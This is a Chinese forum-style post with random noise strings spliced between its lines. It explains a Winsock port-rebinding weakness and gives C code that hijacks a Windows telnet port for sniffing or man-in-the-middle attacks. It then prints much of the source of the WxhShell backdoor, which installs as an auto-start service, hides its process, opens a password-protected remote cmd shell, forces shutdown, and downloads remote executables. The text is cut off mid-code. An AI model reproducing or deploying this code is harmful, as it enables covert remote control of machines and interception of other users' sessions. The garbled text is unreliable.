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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Nu?A>Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n"aF#HR?0d ?wlRHVZ saddr.sin_family = AF_INET;
]UEA"^ 9XtO#!+48 saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cw(yp u :L+xEL bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Rc{R^5B DiOd!8Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GVA%iE. 1eV&oN# 这意味着什么?意味着可以进行如下的攻击: gJuK% P ?B;7J7 T 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1U.X[}e ;92xSe"Ww 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ssz;d&93 mF~]P8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]NBx5m+y@i B0gD4MX/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 >g>r_0. r<n:o7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2cQ~$ 6lg]5d2CD 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n{MTh_C4n =^rp=
Az 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $V`1<>4 csLbzDg #include 1Dc6v57 #include 5yK#;!:h #include d9U)O6= #include k ZF<~U DWORD WINAPI ClientThread(LPVOID lpParam); CUG"2K9 int main() /bo=,%wJ[ { b\H&E{Gn|x WORD wVersionRequested; (M1YOK) I DWORD ret; M_UmnqN1C WSADATA wsaData; "5k6FV BOOL val; *A8*FX>\F SOCKADDR_IN saddr; &}Wi@;G]2 SOCKADDR_IN scaddr; 9M7P|Q int err; 7- LjBlH SOCKET s; k
Qr SOCKET sc; kO*\JaD int caddsize; '6){~ee
S HANDLE mt; Ck !"MK4 DWORD tid; =`|BofR wVersionRequested = MAKEWORD( 2, 2 ); W?aP%D"(i err = WSAStartup( wVersionRequested, &wsaData ); J|^XD<Y if ( err != 0 ) { D6?h
6`J printf("error!WSAStartup failed!\n"); E:/!]sm! return -1; 9'sZi}rT } Rrry;Hr saddr.sin_family = AF_INET; :w5g!G?z oVZzvK(zR //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Kn1;=k L)\<7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'Z.C&6_ saddr.sin_port = htons(23); F5YoEWS if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?yjg\S?L { !LpjTMYs printf("error!socket failed!\n"); F."ZCEb return -1; e4Qjx*[G } U _A'/p^D val = TRUE; vdgK3I //SO_REUSEADDR选项就是可以实现端口重绑定的 _6c/,a8;*J if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) B@ufrQ#Y. { *tRsm"} printf("error!setsockopt failed!\n"); b+ycEs=_ return -1; L"dN
$ A } j}/).O //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CEw%_U@8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NrXIaN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j5:4/vD ~F,YBX if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d`flYNg4 { TW(X#T@Z6I ret=GetLastError(); Xp06sl7 M printf("error!bind failed!\n"); ic!% } S? return -1; 4[kyzz x } N;-%:nC listen(s,2); o^(I+ <el while(1) HbB8A#u { XY? Cl caddsize = sizeof(scaddr); fB7Jx6 //接受连接请求 O wu?ND sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aj1,h)P if(sc!=INVALID_SOCKET) WFk%nO/ { 2!W[ff@~7 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :tnW ivrwR if(mt==NULL) k\SqDmv { ST[TKL<] printf("Thread Creat Failed!\n"); S!$S'{f< break; y5aPs z } pT~3<
, } H}G 9gi CloseHandle(mt); :8/ 6dx@Y( } rX5"p!z closesocket(s); F|m &n& WSACleanup(); 8pr toCB return 0; H$WD7/?j } 0n2H7}Uq DWORD WINAPI ClientThread(LPVOID lpParam) Gukvd6-g9b { hPz=Ec<zW SOCKET ss = (SOCKET)lpParam; xgkCN$zQ` SOCKET sc; V{q*hQd_3 unsigned char buf[4096]; DOFW"Sp E SOCKADDR_IN saddr; i={4rZOD^ long num; CC3i@ DWORD val; WW6-oQs_#* DWORD ret; q&9]4j //如果是隐藏端口应用的话,可以在此处加一些判断 lo6upirZX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 K2n#;fY % saddr.sin_family = AF_INET; DQ/rx`BG saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u$5.GmKm saddr.sin_port = htons(23); 8Ara^Xh}q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pYAKA1F { }m^^6h printf("error!socket failed!\n"); r9M3rj] return -1; QbSLSMoL } YG=:lf val = 100; ZWS:-]P. if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -
uO(qUa# { *6AqRE ret = GetLastError(); L.. return -1; <Dgf'GrJ } gq*W 0S if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T@P~A)>yo { )OFN0' ret = GetLastError(); #tsP return -1; Dmy=_j?ej } :~W(#T,$E if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [9 :9<#?o^ { z ULHgG printf("error!socket connect failed!\n"); iumwhb closesocket(sc); ?-3G5yy closesocket(ss); Ce}m$k return -1; VE*`Ji } tQT<1Q02i while(1) E'mT%@MOM { }Ptv[{q]GE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tzgaHN //如果是嗅探内容的话,可以再此处进行内容分析和记录 %rlqq* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SQU@JKi;g num = recv(ss,buf,4096,0); ARnq~E@1 if(num>0) $\]Mvd send(sc,buf,num,0); $39TP@?:Z) else if(num==0) h\Y~sm?!` break; %q;y74 num = recv(sc,buf,4096,0); V(LfFO{^>? if(num>0) jjEu send(ss,buf,num,0); 1TfFWlf[B else if(num==0) =Xid"$ break; jg%mWiKwK7 } Oi~Dio_? closesocket(ss); G[>CBh5 closesocket(sc); jG& 8`*|* return 0 ; P<[)
qq@; } @~7au9.V=X =2rdbq6R @Ss W ========================================================== v;?W|kJ.u $Fc}K+ 下边附上一个代码,,WXhSHELL pON#r -%>Tjo@Bn ========================================================== qSD`S1'2; ? ][/hL@[ #include "stdafx.h" _*sd# n[i:$! , #include <stdio.h> [GK##z'5 #include <string.h> ,d.5K*?aI #include <windows.h> `{yI|
Wf #include <winsock2.h> k+i0@G'C( #include <winsvc.h> m8b-\^eP7 #include <urlmon.h> &jg>X+; n++ak\ #pragma comment (lib, "Ws2_32.lib") Unt]=S3u #pragma comment (lib, "urlmon.lib") YB)I%5d;{ M1 o@v 0 #define MAX_USER 100 // 最大客户端连接数 vF@|cTRR) #define BUF_SOCK 200 // sock buffer 9Ou}8a?m"
#define KEY_BUFF 255 // 输入 buffer As^eL/m2L \YF;/KwX$ #define REBOOT 0 // 重启 9[YnY~z) #define SHUTDOWN 1 // 关机 ?/@XJcm+ t(.vX #define DEF_PORT 5000 // 监听端口 l`X?C~JhJ r~,3 #define REG_LEN 16 // 注册表键长度 9]G~i`QQ #define SVC_LEN 80 // NT服务名长度 xa?auv! %g>k0~TRf# // 从dll定义API vs$.i typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UF89gG4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \>j@!W typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^K~=2^sh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sUxEm}z +>u 8r&Jw. // wxhshell配置信息 QJx<1# struct WSCFG { #!yX2lR int ws_port; // 监听端口 .p'McCV= char ws_passstr[REG_LEN]; // 口令 [;D1O;c'W. int ws_autoins; // 安装标记, 1=yes 0=no W_/$H_04+ char ws_regname[REG_LEN]; // 注册表键名 hQL@q7tUr char ws_svcname[REG_LEN]; // 服务名 +zo\#8*0MF char ws_svcdisp[SVC_LEN]; // 服务显示名 4@ny%_/ char ws_svcdesc[SVC_LEN]; // 服务描述信息 J=O_nup6C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `tKs|GQf int ws_downexe; // 下载执行标记, 1=yes 0=no ^foCcO char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" DI-CC[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4QiV@#o: ,CqGO %DY }; Lke!VS!P& 2*n~r // default Wxhshell configuration Z%I 'sWOd struct WSCFG wscfg={DEF_PORT, z<yqQ[ "xuhuanlingzhe", 7o*~zDh@fH 1, /6 x[C "Wxhshell", PCc{0Rp\vk "Wxhshell", D7B g!* "WxhShell Service", iM8l,Os]<f "Wrsky Windows CmdShell Service", }^n"t>Z8 "Please Input Your Password: ", fP( n 3Q 1, =gd~rk9 " http://www.wrsky.com/wxhshell.exe", k%N$eO$ "Wxhshell.exe" Vm I
Afe }; ?4W6TSW-' 2G:KaQ) // 消息定义模块 FiXE0ZI$0q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K\lu;
char *msg_ws_prompt="\n\r? for help\n\r#>"; zE}ry!{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <]`|HJoy char *msg_ws_ext="\n\rExit."; ,n>K$ char *msg_ws_end="\n\rQuit."; ;__k*<+{. char *msg_ws_boot="\n\rReboot..."; k&u5`F char *msg_ws_poff="\n\rShutdown..."; 1dy" char *msg_ws_down="\n\rSave to "; l?^}n(_. )g U#[}6H char *msg_ws_err="\n\rErr!"; g+4x char *msg_ws_ok="\n\rOK!"; ~qA\u5sB9@ N{Pa&/V char ExeFile[MAX_PATH]; 7<?Aou int nUser = 0; S[&yO-=p6 HANDLE handles[MAX_USER]; oHu 7<r int OsIsNt; 2,h]Y=.s u+pZ<Bb SERVICE_STATUS serviceStatus; kidv^`.H$w SERVICE_STATUS_HANDLE hServiceStatusHandle; ob[G3rfd@Z 5'wFZ=>vMt // 函数声明 ZNDjk int Install(void); QbWeQ[V{ int Uninstall(void); R!x
/,6,_ int DownloadFile(char *sURL, SOCKET wsh); s|:j~>53 int Boot(int flag); bWZzb& void HideProc(void); eQ=6< ^KZ int GetOsVer(void); 9A\\2Zz6F int Wxhshell(SOCKET wsl); iYr*0:M void TalkWithClient(void *cs); ]==S?_.B3n int CmdShell(SOCKET sock); {'?PGk%v int StartFromService(void); 3X`N~_+ int StartWxhshell(LPSTR lpCmdLine); ]99;7 S'IQbHz* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7;sF0oB5e VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'H1k `4qt mbj // 数据结构和表定义 ;T>. SERVICE_TABLE_ENTRY DispatchTable[] = =cx_3gCr{ { _G^ 4KwYp {wscfg.ws_svcname, NTServiceMain}, -x>2Wb~% {NULL, NULL} rE WPVT }; VlLc[eVV 9[L@*7A`m // 自我安装 ?M02|8- int Install(void) UN,y/V { fxR}a,a char svExeFile[MAX_PATH]; >WKlR` J% HKEY key; (l~3~n strcpy(svExeFile,ExeFile); ;:0gN|+ slV7,4S&! // 如果是win9x系统,修改注册表设为自启动 y%9Q]7&= if(!OsIsNt) { qrq9NPf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P2Or|_z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KR4vcI[4 RegCloseKey(key); G\HU%J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r]0UF0# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^mNPP:%iN RegCloseKey(key); eqFOPK5q return 0; #"Wh$x% } ~w>Z !RuhT } XI rNT:h4 } &;V3[
*W" else { +.p$Yi` C}~/(;1V= // 如果是NT以上系统,安装为系统服务 Rlq6I?S+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7+h*&f3> if (schSCManager!=0) &dC #nw { @3UVl^T SC_HANDLE schService = CreateService Q I.*6-( ( ,;_D~7L schSCManager, N,><,7!q$, wscfg.ws_svcname, 0 CJ4]mYl wscfg.ws_svcdisp, i N}BMd.U SERVICE_ALL_ACCESS, <_|H]^o SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bnWKfz5 SERVICE_AUTO_START, /@*J\0h(- SERVICE_ERROR_NORMAL,
? 77ye svExeFile, @c8s<9I] NULL, tv_Cn
w NULL, Q9~UL^bF NULL, JqDj)}fzX NULL, K7x,> NULL .%@=,+nqz ); oc2aE:>X if (schService!=0) x%;Q
/7&$ { <N{pMz CloseServiceHandle(schService); iZ`1Dzxgk CloseServiceHandle(schSCManager); 7{vnhl(Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0shNwV1zF strcat(svExeFile,wscfg.ws_svcname); wFW2m if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Efb S*f5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `P `nqn RegCloseKey(key); UeRx ^ return 0; Xcq9*!%o } ,u}n!quA } i*9[El CloseServiceHandle(schSCManager); @" ~Mglgw } HA{-XPAWZ } vjJ!d#8 !EM21Sc return 1; (FMYR8H*( } kq:,}fc;B 9B'l+nP // 自我卸载 i~z:Fe{ int Uninstall(void) mW 5L;> { w;'
F;j~ HKEY key; ;,'! /-$`GT?l if(!OsIsNt) { Fm-W@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mf@YmKbp RegDeleteValue(key,wscfg.ws_regname); -3VxjycY RegCloseKey(key); ~`hI|i<] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R*TCoEKO RegDeleteValue(key,wscfg.ws_regname); 8N6a= [fv< RegCloseKey(key); ^lu)'z%6 return 0; h^>kjMM } -p ) l63 } O6OP{sb } yQhrPw> m else { a-Cp"pKlVY -baGr;,Cu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,-c(D-& if (schSCManager!=0) OP2!lEs { SBjtg@:G0n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HtEjM|zj if (schService!=0) 8Mg4y1)RU { ER5Q` H if(DeleteService(schService)!=0) { S
M98 7Y!B CloseServiceHandle(schService); qB]z"Hfq, CloseServiceHandle(schSCManager); dWD,iO_"@ return 0; |gxU;"2`5~ } Xk]5*C]6< CloseServiceHandle(schService); X@9_ukdpu } Oe$cM=Yf CloseServiceHandle(schSCManager); p>K'6lCa } :M|c,SQK } 49eD1h3'X[
\__i return 1; aEB_#1 } <;lkUU(WT2 [|v][Hwv // 从指定url下载文件 \P[Y`LYL int DownloadFile(char *sURL, SOCKET wsh) &<z1k-&! { p#-Z4- ` HRESULT hr; EAUEQk?9 char seps[]= "/"; _T60;ZI+^ char *token; 5=-Q4d char *file; @@f"%2ZR[ char myURL[MAX_PATH]; ibcRU y0% char myFILE[MAX_PATH]; "69s)~ [+Iz@0q strcpy(myURL,sURL); U4'#T%* token=strtok(myURL,seps); jRa43ck while(token!=NULL) RbB.q p { Lj({[H7D! file=token; g>%o #P7 token=strtok(NULL,seps); -OV&Md:~ } 1C+13LE$U &C_j\7Dq GetCurrentDirectory(MAX_PATH,myFILE); t9lPb_70 strcat(myFILE, "\\"); phXGnm strcat(myFILE, file); hgG9m[?K send(wsh,myFILE,strlen(myFILE),0); G[ PtkPSJ send(wsh,"...",3,0); b/K PaNv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #^0R&) T if(hr==S_OK) >>r(/81S return 0; ZvM(Q=^ else jVe1b1rt~3 return 1; |d2SIyUc K-)]
1BG } (XTG8W sN Oi.C(@^( // 系统电源模块 tAd%#:K int Boot(int flag) ,L2ZinU: { P8:dU(nlW HANDLE hToken; $S6`}3 TOKEN_PRIVILEGES tkp; s[>,X#7 y XT%nbh&y if(OsIsNt) { P;.W+WN OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <d Wv?<o LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XX TL.. tkp.PrivilegeCount = 1; K!%+0)A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UW={[h{.|@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @D[_}JE if(flag==REBOOT) { Y1\ }5k{> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &&8x%Pml return 0; !qQl@j O } y-b%T|p9 else { 1s&zMWC if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) u/0h$l return 0; WDYeOtc } yWc$>ne[L } }0*@fO else { L[fiU0^o if(flag==REBOOT) { 9<?M8_ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oSKXt}sh return 0; xj)F55e? } HyQJXw?A: else { O/(`S<iip if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }"H,h)T return 0; R%WCH?B<} } yxQ1`'[CR } hh%-(HaLX3 B"w?;EeV. return 1; 3ZPWze6 } 2 a)xTA# Lg+Ac5y}` // win9x进程隐藏模块 +) om^e@. void HideProc(void) H|<[YYk { ;8&3 dm] RLXL& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,-LwtePJ0 if ( hKernel != NULL ) +o{R _ { M/'sl; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U}[d_f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bH9kj/q\b FreeLibrary(hKernel); |s(FLF - } W\,s:6iqz nHAS( return; -0 a/$h } f}ji?p \)904W5R // 获取操作系统版本 M)+H{5bt int GetOsVer(void) /Iy]DU8 { A`$%SVgFV^ OSVERSIONINFO winfo; ^mDe08.
%b winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VcYrK4 GetVersionEx(&winfo); ek\ xx if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *%NT~C
q return 1; /t57!& else ~H_/zK6e return 0; nNV'O(x} } =:Fc;n>c<K _/$Bpr{R // 客户端句柄模块 7>0o& int Wxhshell(SOCKET wsl) x /S}Q8!"} { sf
qL|8 SOCKET wsh; [PM2\#K struct sockaddr_in client; (Z q/ DWORD myID; jD]~ AwRJ 6I4\q.^qw while(nUser<MAX_USER) ]@c+]{ { A RuA<vQ int nSize=sizeof(client);
Y_IF;V\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YUD`!C if(wsh==INVALID_SOCKET) return 1; BO;tCEV? D,*3w'X!K handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rQs)O<jl if(handles[nUser]==0) 8 +/rlHp closesocket(wsh); [A~xy'T else iRbT/cc{ nUser++; -#[a7',Z; } 6dt]`zv/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9';JXf$ G@\1E+Ip return 0; $y &E(J } BwGfTua Id'-&tYG // 关闭 socket =l;ewlU void CloseIt(SOCKET wsh) rSk> { 29"'K.r closesocket(wsh); W~;`WR;. nUser--; Lc,Pom ExitThread(0); ~9]hV7y5C } w~A{(-
dx hGe/;@% // 客户端请求句柄 dJoaCf`w void TalkWithClient(void *cs) ~s*)f.l { X6X
$Pve )gIKH{JYL SOCKET wsh=(SOCKET)cs; 0B/,/KX char pwd[SVC_LEN]; Su7?;Oh/yI char cmd[KEY_BUFF]; $\BE&4g char chr[1]; S(I{NL}=$ int i,j; ]EBxl=C}D .-c4wm} while (nUser < MAX_USER) { =E4LRKn u#$]?($}d if(wscfg.ws_passstr) { Y|f[bw if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <tNBxa$gS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qf+\;@ //ZeroMemory(pwd,KEY_BUFF); pfD c9PMj i=0; -t'jNR' while(i<SVC_LEN) { Y'S%O/$ -q1??u // 设置超时 5h-SCB>P fd_set FdRead; ci.+pF struct timeval TimeOut; zuad~%D<I FD_ZERO(&FdRead); T{.pM4Hd FD_SET(wsh,&FdRead); ?m}s4a TimeOut.tv_sec=8; :D6
ON"6 TimeOut.tv_usec=0; m)t;9J5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M*, -zGr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )._; ~z! Fn;SF4KOm if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q4:o#K# pwd =chr[0]; nbD*x| if(chr[0]==0xd || chr[0]==0xa) { QUc= &5 % pwd=0; <4si/= break; rdP[<Y9 } ]Ji.Zk i++; v5#jZ$<F } uM IIYS feDlH[$ // 如果是非法用户,关闭 socket t ;;U} if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |O|V-f{l } |!3DPA(_ uK"=i8rs4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !Vn\u send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ghG**3xr {j?FNOJn while(1) { xQ-<WF1i B$fPgW- ZeroMemory(cmd,KEY_BUFF); KE5kOU; 1~Y<//5E // 自动支持客户端 telnet标准
F2LLN j=0; :Uzm
while(j<KEY_BUFF) { M#4pE_G if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 30#s aGV cmd[j]=chr[0]; /tx]5`#@7] if(chr[0]==0xa || chr[0]==0xd) { TOB-aAO cmd[j]=0; I(L,8n5 break; J s@hLP` } \O3m9,a j++; A5I)^B<( } rxvx {l1.2! // 下载文件 ifMRryN4 if(strstr(cmd,"http://")) { wo;~7K send(wsh,msg_ws_down,strlen(msg_ws_down),0); ArI2wM/v if(DownloadFile(cmd,wsh)) 8oy^Xc+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); BQE|8g'&T else l|JE# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [2!w_Iw' } )
<[XtK else { *e TqVG. jjRi*^d9 switch(cmd[0]) { Ha0M)0Anv p J!
mw\: // 帮助 /!yU!`bY case '?': { ["k,QX send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i/;\7n break; Q0`wt.}V2 } / |;RV" // 安装 _lJ!R:* case 'i': { 17%,7P9pg if(Install()) >reU#j send(wsh,msg_ws_err,strlen(msg_ws_err),0); /$xU else VX0 %a@ur send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WTQ\PANAaR break; 8`B3;Zmm } sQHv%]s 0 // 卸载 pSH=%u> case 'r': { F3[T.sf if(Uninstall()) ^+>laOzC`8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); .GPT!lDc else YNyk1cE send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j|DsG, break; ` xEx^P^7 } $kdB |4C // 显示 wxhshell 所在路径 g#pr yYz case 'p': { O-0x8 O^B char svExeFile[MAX_PATH]; ?DS@e@lx strcpy(svExeFile,"\n\r"); fM :]& strcat(svExeFile,ExeFile); (?1y4M send(wsh,svExeFile,strlen(svExeFile),0); F`9xVnK= break; lBLARz&c# } 'A=^Se`= // 重启 t:x\kp case 'b': { b;B%q$sntC send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A7Cm5>Y_S if(Boot(REBOOT)) kYP#SH/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ytp(aE: else { #1A.?p closesocket(wsh); !OhC/f(GBZ ExitThread(0); R6<X%*&% } \_VA50 break; hohfE3rd } 7FP*oN? // 关机 $D~0~gn~ case 'd': { jE.N ev/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ws3)gvpPA if(Boot(SHUTDOWN)) S:#lH?<_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13$%,q) else { u
OmtyX closesocket(wsh); i(rL|d+' ExitThread(0); z3{G9Np } n:I,PS0H< break; Q",t3i4 } ^KnU4sD // 获取shell .O5Z8 p case 's': { kUL'1!j7 CmdShell(wsh); RtkEGxw*^ closesocket(wsh); /Y:sLGQLD ExitThread(0); zJKv'>? break; /Iu1L# } P[G)sA_" // 退出 kf\PioD8 case 'x': { l?v86k send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0mYXv4
< CloseIt(wsh); <6%?OJhp break; :;%2BSgFU } \S `:y?[Y // 离开 \}yc`7T:L0 case 'q': { "=HA Y send(wsh,msg_ws_end,strlen(msg_ws_end),0); B{n,t}z closesocket(wsh); D=A&+6B@- WSACleanup(); jKz$@gP exit(1); y>8sZuH0 break; nSDMOyj+ } p#ZCvPE;uH } CCs%%U/= } $8)+XmsCr :I.mGH!^ // 提示信息 (U DnsF if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y Vt% 0 } OR P\b } X~bX5b[P 6%\J"AgXO return; \Gef \ } Y,qI@n< hk;5w{t}} // shell模块句柄 v4a8}G int CmdShell(SOCKET sock) E<rp7~# { ;}I:\P STARTUPINFO si; '0;l]/i. ZeroMemory(&si,sizeof(si)); ^ox=HNV si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Z_x.Y6 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0Uz"^xO[" PROCESS_INFORMATION ProcessInfo; aL\PGdgO char cmdline[]="cmd"; L8@f-Kk CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c`)\Pb/O return 0; KWbI'}_z } ;HfmzY( '?{OZXg // 自身启动模式 EgEa1l!NSQ int StartFromService(void) dM.f]-g { ( ' (K9@} typedef struct GhAlx/K { N@4w!
HpJ DWORD ExitStatus; B&M%I:i DWORD PebBaseAddress; SBu"3ym DWORD AffinityMask; YsC>i`n9 DWORD BasePriority; ,C\i^>= ULONG UniqueProcessId; #Qw0&kM7I ULONG InheritedFromUniqueProcessId; .fqN|[> } PROCESS_BASIC_INFORMATION; c1(RuP:S .|KyNBn PROCNTQSIP NtQueryInformationProcess; BiLY(1, kM l+yli3c static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (Bb5?fw static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; EmWn%eMN AG
